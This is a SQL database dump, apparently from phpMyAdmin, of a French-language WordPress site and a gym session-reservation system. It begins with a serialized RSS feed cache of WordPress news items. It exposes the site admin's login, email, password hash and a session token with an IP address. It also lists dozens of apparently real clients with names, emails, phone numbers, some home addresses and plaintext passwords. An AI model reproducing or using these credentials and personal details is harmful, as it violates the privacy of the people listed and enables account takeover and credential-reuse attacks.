?\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/XQD1O4eQIKg/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:121:\&quot;https://wpmarmite.com/mise-a-jour-wordpress/?utm_source=rss&amp;#038;utm_medium=rss&amp;%23038;utm_campaign=mise-a-jour-wordpress\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Dec 2018 07:00:46 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:303:\&quot;\n		        \n“Mais qu’est-ce qui m’a pris de faire ça ?” Avec le recul, c’est la question que je me suis posée en repensant à mes premières mises à jour sur WordPress....\nL’article Comment faire vos mises à jour WordPress sans encombres ? est apparu en premier sur WP Marmite.		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;WP Marmite\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:680:\&quot;&lt;p&gt;&lt;img width=\&quot;1500\&quot; height=\&quot;750\&quot; src=\&quot;https://wpmarmite.com/wp-content/uploads/2018/12/maj-wordpress.jpg\&quot; class=\&quot;attachment-full size-full wp-post-image\&quot; alt=\&quot;\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;“Mais qu’est-ce qui m’a pris de faire ça ?” Avec le recul, c’est la question que je me suis posée en repensant à mes premières mises à jour sur WordPress....&lt;/p&gt;\n&lt;p&gt;L’article &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://wpmarmite.com/mise-a-jour-wordpress/\&quot;&gt;Comment faire vos mises à jour WordPress sans encombres ?&lt;/a&gt; est apparu en premier sur &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://wpmarmite.com\&quot;&gt;WP Marmite&lt;/a&gt;.&lt;/p&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/XQD1O4eQIKg\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:121:\&quot;https://wpmarmite.com/mise-a-jour-wordpress/?utm_source=rss&amp;#038;utm_medium=rss&amp;%23038;utm_campaign=mise-a-jour-wordpress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:6;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;WordPress 5.0 et Gutenberg : un changement de philosophie ?\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/3trqh6jq79k/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:72:\&quot;https://www.seomix.fr/wordpress-5-0-gutenberg-changement-de-philosophie/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 18 Dec 2018 09:29:50 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1173:\&quot;\n		        WordPress 5.0 est sortie en Décembre avec son nouvel éditeur de contenus: Gutenberg. Le lancement chaotique a notamment été décrié par une partie de la communauté. Cette nouvelle version majeur a fait grincé des dents, voici pourquoi !Accédez à l\'article original : WordPress 5.0 et Gutenberg&amp;nbsp;: un changement de philosophie&amp;nbsp;?.\n    Voici le début du contenu : WordPress 5.0 est sorti le 6 décembre dernier. Comme toute version majeure, elle apporte son lot de nouveautés. Et l’une d&amp;rsquo;elles est particulièrement visible&amp;nbsp;: Gutenberg, un tout nouvel éditeur pour rédiger les contenus, éditeur qui vient remplacer automatiquement l&amp;rsquo;ancien TinyMCE.  Remarque préalable Avant de lire cet article, il est important de lire ce passage. Cet article n&amp;rsquo;a pas pour but de venir critiquer WordPress, ni Gutenberg, ni toutes les personnes qui ont participé à cette nouvelle version du CMS. Il ne s&amp;rsquo;agit ici que d&amp;rsquo;un point de vue personnel sur ce qui vient de se passer et sur le futur du CMS. L&amp;rsquo;objectif est de pouvoir dresser le bilan de la sortie de cette dernière version, de la façon [...]		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1608:\&quot;&lt;div&gt;&lt;img class=\&quot;webfeedsFeaturedVisual\&quot; src=\&quot;https://www.seomix.fr/wp-content/uploads/2018/12/blocs-gutenberg-500x476.jpg\&quot; /&gt;&lt;/div&gt;WordPress 5.0 est sortie en Décembre avec son nouvel éditeur de contenus: Gutenberg. Le lancement chaotique a notamment été décrié par une partie de la communauté. Cette nouvelle version majeur a fait grincé des dents, voici pourquoi !&lt;p&gt;&lt;strong&gt;Accédez à l\'article original :&lt;/strong&gt; &lt;a href=\&quot;https://www.seomix.fr/wordpress-5-0-gutenberg-changement-de-philosophie/\&quot;&gt;WordPress 5.0 et Gutenberg&amp;nbsp;: un changement de philosophie&amp;nbsp;?&lt;/a&gt;.&lt;/p&gt;\n    &lt;p&gt;&lt;strong&gt;Voici le début du contenu :&lt;/strong&gt; &lt;p&gt;&lt;strong&gt;WordPress 5.0&lt;/strong&gt; est sorti le 6 décembre dernier. Comme toute version majeure, elle apporte son lot de nouveautés. Et l’une d&amp;rsquo;elles est particulièrement visible&amp;nbsp;: &lt;strong&gt;Gutenberg&lt;/strong&gt;, un tout nouvel éditeur pour rédiger les contenus, éditeur qui vient remplacer automatiquement l&amp;rsquo;ancien TinyMCE.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Remarque préalable&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Avant de lire cet article, &lt;strong&gt;il est important de lire ce passage&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;Cet article n&amp;rsquo;a pas pour but de venir critiquer WordPress, ni Gutenberg, ni toutes les personnes qui ont participé à cette nouvelle version du CMS. Il ne s&amp;rsquo;agit ici que d&amp;rsquo;un point de vue personnel sur ce qui vient de se passer et sur le futur du CMS. L&amp;rsquo;objectif est de pouvoir dresser le bilan de la sortie de cette dernière version, de la façon [...]&lt;/p&gt;&lt;hr /&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/3trqh6jq79k\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:72:\&quot;https://www.seomix.fr/wordpress-5-0-gutenberg-changement-de-philosophie/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:7;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:65:\&quot;Focus métier : le délégué à la protection des données (DPO)\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/lWH6I4wJ_rw/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:83:\&quot;https://www.wpnormandie.fr/focus-metier-le-delegue-a-la-protection-des-donnees-dpo/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Tue, 18 Dec 2018 08:57:41 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:417:\&quot;\n		        Le Règlement Général sur la Protection des Données («&amp;#160;RGPD&amp;#160;»), d’application obligatoire depuis le 25 mai dernier a créé un nouvel acteur dans l’univers des données personnelles*, le Délégué à la Protection des Données – ou Data Protection Officer en anglais – («&amp;#160;DPO&amp;#160;»). Ce dernier est présenté comme un acteur clef du processus de mise en [&amp;#8230;]		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:487:\&quot;Le Règlement Général sur la Protection des Données («&amp;#160;RGPD&amp;#160;»), d’application obligatoire depuis le 25 mai dernier a créé un nouvel acteur dans l’univers des données personnelles*, le Délégué à la Protection des Données – ou Data Protection Officer en anglais – («&amp;#160;DPO&amp;#160;»). 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-- --------------------------------------------------------

--
-- Structure de la table `ct_termmeta`
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-- --------------------------------------------------------

--
-- Structure de la table `ct_terms`
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-- --------------------------------------------------------

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-- Structure de la table `ct_term_taxonomy`
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-- --------------------------------------------------------

--
-- Structure de la table `ct_usermeta`
--

CREATE TABLE `ct_usermeta` (
  `umeta_id` bigint(20) UNSIGNED NOT NULL,
  `user_id` bigint(20) UNSIGNED NOT NULL DEFAULT '0',
  `meta_key` varchar(255) DEFAULT NULL,
  `meta_value` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `ct_usermeta`
--

INSERT INTO `ct_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES
(1, 1, 'nickname', 'ctnadmin'),
(2, 1, 'first_name', ''),
(3, 1, 'last_name', ''),
(4, 1, 'description', ''),
(5, 1, 'rich_editing', 'true'),
(6, 1, 'syntax_highlighting', 'true'),
(7, 1, 'comment_shortcuts', 'false'),
(8, 1, 'admin_color', 'fresh'),
(9, 1, 'use_ssl', '0'),
(10, 1, 'show_admin_bar_front', 'true'),
(11, 1, 'locale', ''),
(12, 1, 'ct_capabilities', 'a:1:{s:13:\&quot;administrator\&quot;;b:1;}'),
(13, 1, 'ct_user_level', '10'),
(14, 1, 'dismissed_wp_pointers', ''),
(15, 1, 'show_welcome_panel', '1'),
(16, 1, 'session_tokens', 'a:1:{s:64:\&quot;cd49284e3a9027ef2350a28f3a8d1c51a184ea26a71ab415e8066a09e80403fc\&quot;;a:4:{s:10:\&quot;expiration\&quot;;i:1546344269;s:2:\&quot;ip\&quot;;s:14:\&quot;62.235.238.101\&quot;;s:2:\&quot;ua\&quot;;s:78:\&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0\&quot;;s:5:\&quot;login\&quot;;i:1546171469;}}'),
(17, 1, 'ct_dashboard_quick_press_last_post_id', '3'),
(18, 1, 'community-events-location', 'a:1:{s:2:\&quot;ip\&quot;;s:12:\&quot;62.235.238.0\&quot;;}');

-- --------------------------------------------------------

--
-- Structure de la table `ct_users`
--

CREATE TABLE `ct_users` (
  `ID` bigint(20) UNSIGNED NOT NULL,
  `user_login` varchar(60) NOT NULL DEFAULT '',
  `user_pass` varchar(255) NOT NULL DEFAULT '',
  `user_nicename` varchar(50) NOT NULL DEFAULT '',
  `user_email` varchar(100) NOT NULL DEFAULT '',
  `user_url` varchar(100) NOT NULL DEFAULT '',
  `user_registered` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `user_activation_key` varchar(255) NOT NULL DEFAULT '',
  `user_status` int(11) NOT NULL DEFAULT '0',
  `display_name` varchar(250) NOT NULL DEFAULT ''
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `ct_users`
--

INSERT INTO `ct_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES
(1, 'ctnadmin', '$P$B1d7ZCc.aqs82aLEkUn1SaLkSFpWRM/', 'ctnadmin', 'stv@otvr.net', '', '2018-09-02 13:27:07', '', 0, 'ctnadmin');

-- --------------------------------------------------------

--
-- Structure de la table `reservation_client`
--

CREATE TABLE `reservation_client` (
  `id` int(11) NOT NULL,
  `nom` varchar(250) NOT NULL,
  `prenom` varchar(250) NOT NULL,
  `email` varchar(250) NOT NULL,
  `mdp` varchar(250) NOT NULL,
  `gsm` varchar(250) NOT NULL,
  `adr` varchar(250) NOT NULL,
  `cp` int(6) NOT NULL,
  `ville` varchar(250) NOT NULL,
  `pays` varchar(2) NOT NULL,
  `nb_seance` int(11) NOT NULL DEFAULT '0',
  `validite_seance` date NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_client`
--

INSERT INTO `reservation_client` (`id`, `nom`, `prenom`, `email`, `mdp`, `gsm`, `adr`, `cp`, `ville`, `pays`, `nb_seance`, `validite_seance`) VALUES
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(299, 'Moubarik', 'Badr', 'bm.assur@portima.be', 'dqsftq', '', '', 0, '', '', 3, '2018-07-01'),
(300, 'Jacques', 'Maxence', 'maxencejcqs@gmail.com', '55vz5d', '', '', 0, '', '', 7, '2019-07-01'),
(380, 'Baufays', 'Maxence', 'maxencebaufays@hotmail.fr', '62zm66', '0475/63.07.52', '', 0, '', '', 5, '2020-01-01'),
(363, 'Schietecat', 'Nicolas ', 'nicolas.schietecat@hotmail.com', '849xfk', '', '', 0, '', '', 14, '2019-09-01'),
(224, 'Pallen', 'Myriam', 'myriam.pallen@gmail.com', '5wvtmu', '0496/38 00 44', '', 5080, 'Rhisnes', '', 0, '2017-11-01'),
(267, 'Donato', 'Michael ', 'donatom@mandat.belfius.be ', 'xz68ecd4ds564c684qsx684', '0477/22 57 82', '', 0, '', '', 7, '2019-01-01'),
(268, 'Moreau', 'Jean-Baptiste', 'fq@fdsf', 'xz68ecd4ds564c684qsx684', '0477/38 77 41', '', 0, '', '', 2, '2019-01-01'),
(269, 'Ripet', 'Sophie', 'sophie.ripet@gmail.com', 'zttfwh', '0498/ 56 40 27', '', 0, '', '', 0, '2018-07-01'),
(292, 'Cabossart', 'Virginie', 'cabosart.v@live.be', 'VirginieEmma2015', '0476/74.52.18', '', 0, '', '', 16, '2019-09-01'),
(231, 'Palin', 'Isabelle ', 'isabellepalin@hotmail.com', 'Lenaelia5', '0499/26 82 09', '', 0, 'Franière', '', 13, '2020-07-01'),
(232, 'Collignon', 'Brieuc', 'brieuc.collignon@gmail.com', 'boun4567', '0474/64 21 49', 'Chaussée de Nivelles 346', 5020, 'Temploux', '', 0, '2016-08-01'),
(346, 'André', 'Maxime', 'alain.andre04@gmail.com', 'xz68ecd4ds564c684qsx684', '0496/12 65 53', '', 0, '', '', 0, '2019-01-01'),
(370, 'Mahaux', 'Alyson', 'globalys@gmail.com', 'kzaqzz', '', '', 0, '', '', 0, '2020-01-01'),
(372, 'Houbard', 'Elise', 'e.houbart@live.be', 'ap5nf4', '', '', 0, '', '', 0, '2020-01-01'),
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(31, 'Delchevalerie', 'Thierry', 'shin-gi-tai@hotmail.com', '2133jtnc58', '+32473997910', '', 0, '', '', 26, '2020-01-01'),
(340, 'Strepenne', 'Adèle ', 'fqfq@fdsfs', 'xz68ecd4ds564c684qsx684', '0483/07 49 09', '', 0, '', '', 0, '2018-07-01'),
(333, 'Jadot', 'Nicolas ', 'nicolasjadot1903@gmail.com', 'xz68ecd4ds564c684qsx684', '', '', 0, '', '', 0, '2018-01-01'),
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(275, 'Dricot', 'Vannie', 'dricot.v@hotmail.fr', 'gu9y7x', '', '', 0, '', '', 0, '2018-01-01'),
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(228, 'Derwa', 'Corinne', 'corinne_derwa@hotmail.com', '4ufkam', '0472/45 37 85', '', 5101, 'Loyers', '', 0, '2017-03-01'),
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(328, 'Lombardo', 'Lola', 'lolalombardo2602@gmail.com', 'xz68ecd4ds564c684qsx684', '0485/95 73 11', '', 0, '', '', 0, '2018-07-01'),
(103, 'Fontaine', 'Vianel', 'vianel.fontaine@gmail.com', 'ThVia198', '0472399538', '', 0, '', '', 3, '2019-07-01'),
(80, 'Essai nouveau membre', '', 'Es', 'xz68ecd4ds564c684qsx684', '', '', 0, '', '', 0, '2017-11-01'),
(140, 'Medard', 'Cédric ', 'cedric.medard@hotmail.fr', '6j9y7t', '0475309147', 'rue Bertrand Janquin, 19', 5100, 'JAMBES', '', 9, '2019-07-01'),
(313, 'Devroye', 'Andy ', 'devroyeandy@yahoo.fr', 'xz68ecd4ds564c684qsx684', '0494/84 42 64', '', 0, '', '', 8, '2019-01-01'),
(314, 'Sacré', 'Sébastien ', 'sebasacre1987@gmail.com', 'xz68ecd4ds564c684qsx684', '', '', 0, '', '', 0, '2019-07-01'),
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(283, 'Gillet', 'Florent', 'florent1919@hotmail.be', '9yxcma', '0486/98 14 20', '', 0, 'Promotion', '', 0, '2017-07-12'),
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-- --------------------------------------------------------

--
-- Structure de la table `reservation_panier`
--

CREATE TABLE `reservation_panier` (
  `id` int(11) NOT NULL,
  `id_client` int(11) NOT NULL,
  `nb_seance` int(11) NOT NULL,
  `date_validite` date NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Structure de la table `reservation_param`
--

CREATE TABLE `reservation_param` (
  `param` varchar(200) NOT NULL,
  `value` varchar(200) NOT NULL,
  `explication` varchar(200) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_param`
--

INSERT INTO `reservation_param` (`param`, `value`, `explication`) VALUES
('duree_validite_seance', '90', '');

-- --------------------------------------------------------

--
-- Structure de la table `reservation_reservation`
--

CREATE TABLE `reservation_reservation` (
  `id` int(11) NOT NULL,
  `id_client` int(11) NOT NULL,
  `id_salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_deb` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_reservation`
--

INSERT INTO `reservation_reservation` (`id`, `id_client`, `id_salle`, `date`, `heure_deb`, `heure_fin`, `type_seance`) VALUES
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(14657, 80, 'CTR', '2019-03-13', '18h00', '19h00', 'Circuit Training'),
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(14641, 365, 'CTR', '2019-03-13', '20h00', '21h00', 'Cross Training'),
(14640, 165, 'CTR', '2019-03-13', '20h00', '21h00', 'Cross Training'),
(14639, 180, 'CTR', '2019-03-13', '20h00', '21h00', 'Cross Training'),
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-- --------------------------------------------------------

--
-- Structure de la table `reservation_reservation_bck`
--

CREATE TABLE `reservation_reservation_bck` (
  `id` int(11) NOT NULL,
  `id_client` int(11) NOT NULL,
  `id_salle` varchar(3) NOT NULL,
  `date` date NOT NULL,
  `heure_deb` varchar(5) NOT NULL,
  `heure_fin` varchar(5) NOT NULL,
  `type_seance` varchar(250) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `reservation_reservation_bck`
--

INSERT INTO `reservation_reservation_bck` (`id`, `id_client`, `id_salle`, `date`, `heure_deb`, `heure_fin`, `type_seance`) VALUES
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(446, 49, 'CTR', '2014-02-15', '11h00', '11h30', 'TRX'),
(447, 18, 'CTR', '2014-02-15', '11h00', '11h30', 'TRX'),
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(10057, 280, 'CTR', '2017-07-03', '20h00', '20h30', 'HIIT Partie 2 (avec cardio)'),
(10058, 230, 'CTR', '2017-07-03', '18h15', '18h45', 'HIIT Partie 1 (avec cardio)'),
(10059, 230, 'CTR', '2017-07-03', '18h45', '19h15', 'HIIT Partie 2 (avec cardio)'),
(10060, 279, 'CTR', '2017-07-03', '17h30', '18h00', 'Circuit Training (orienté course à pied)'),
(10061, 92, 'CTR', '2017-07-03', '17h30', '18h00', 'Circuit Training (orienté course à pied)'),
(10062, 193, 'CTR', '2017-07-03', '18h15', '18h45', 'HIIT Partie 1 (avec cardio)'),
(10063, 193, 'CTR', '2017-07-03', '18h45', '19h15', 'HIIT Partie 2 (avec cardio)'),
(10068, 80, 'CTR', '2017-07-03', '20h00', '20h30', 'HIIT Partie 2 (avec cardio)'),
(10069, 48, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10070, 26, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10071, 286, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10072, 290, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10073, 287, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10074, 285, 'CTR', '2017-07-05', '18h15', '18h45', 'Circuit Training'),
(10086, 287, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10076, 132, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10077, 132, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10078, 286, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10079, 286, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10080, 285, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10081, 285, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10082, 26, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10083, 26, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10084, 290, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10085, 290, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10087, 287, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10088, 48, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10089, 80, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10090, 205, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10091, 80, 'CTR', '2017-07-10', '18h15', '19h00', 'Circuit Training'),
(10092, 278, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10093, 278, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
(10105, 279, 'CTR', '2017-07-17', '18h15', '19h00', 'Circuit Training'),
(10095, 92, 'CTR', '2017-07-12', '18h15', '18h45', 'Circuit Training'),
(10097, 180, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
(10098, 294, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
(10104, 132, 'CTR', '2017-07-19', '18h15', '18h45', 'Circuit Training'),
(10100, 80, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
(10101, 48, 'CTR', '2017-07-12', '19h ', '19h30', 'Circuit training'),
